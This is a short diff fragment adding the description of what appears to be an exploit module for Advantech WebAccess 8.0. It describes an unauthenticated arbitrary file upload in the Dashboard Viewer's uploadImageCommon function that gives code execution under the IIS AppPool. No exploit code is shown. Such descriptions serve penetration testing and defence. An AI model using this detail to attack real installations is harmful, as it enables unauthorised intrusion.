+       This module exploits a arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
+       This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
+       of Advantech WebAccess.Authentication is not required to exploit this vulnerability.
+
+       The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
+       the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
+       upload arbitrary code (instead of an image) to the server, which will then be executed under the
+       high-privilege context of the IIS AppPool.
+
+       This exploit was successfully tested on Advantech WebAccess 8.0.
